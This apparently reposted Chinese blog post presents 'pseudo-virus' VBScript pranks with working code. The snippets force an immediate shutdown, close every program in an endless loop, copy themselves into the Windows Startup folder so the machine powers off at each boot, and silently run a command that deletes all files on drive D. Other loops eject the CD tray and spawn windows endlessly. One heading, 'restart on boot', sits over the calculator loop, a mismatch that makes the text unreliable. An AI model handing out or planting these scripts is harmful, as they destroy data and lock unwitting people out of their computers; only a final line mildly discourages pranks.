伪病毒之vbs

VBScript(Microsoft Visual Basic Script Editon).， VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言。

如何制作简单的vbs程序？

1、打开记事本。

2、输入

msgbox("Hello World！")

3、保存  注意：一定要保存为所有文件的*.vbs格式！

4、运行

利用vbs我们可以制作许多有趣的事情。

直接关机：

dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true

不断按下alt+f4 ：

打开任何程序都关掉

dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
do
wscript.sleep 2500 
WSHshell.SendKeys "%{F4}" 
loop 

修改注册表：

on error resume next 
set wr=createobject("scripting.filesystemobject") 
set ws=createobject("wscript.shell") 
set f = wr.getfile(wscript.scriptfullname) 
q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup") 
if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true 
ws.run"shutdown -p",vbhide

无尽语音报数：

无限语音从1数到无限大。

Set s = CreateObject("sapi.spvoice") 
i=0 
do 
s.speak i 
i=i+1 
loop 

无限弹出光驱：

set wmp=createobject("wmplayer.ocx") 
set cd=wmp.cdromcollection.item(0) 
do 
cd.eject 
loop 

无限打开计算器：

Set Ws=WScript.CreateObject("Wscript.shell")
do
Ws.run "calc"
WScript.Sleep 1000
loop

直接关机：

<pre name="code" class="vb">dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true

删除D盘中所有程序：

<pre name="code" class="vb">dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

开机就重起：

Set Ws=WScript.CreateObject("Wscript.shell")
do
Ws.run "calc"
WScript.Sleep 1000
loop

不断弹出窗口：

while(1)
msgbox "哈哈 你被耍了！"
loop

其实、还是不要恶搞的好...

@ Mayuko

转载于:https://www.cnblogs.com/mayuko/p/4567627.html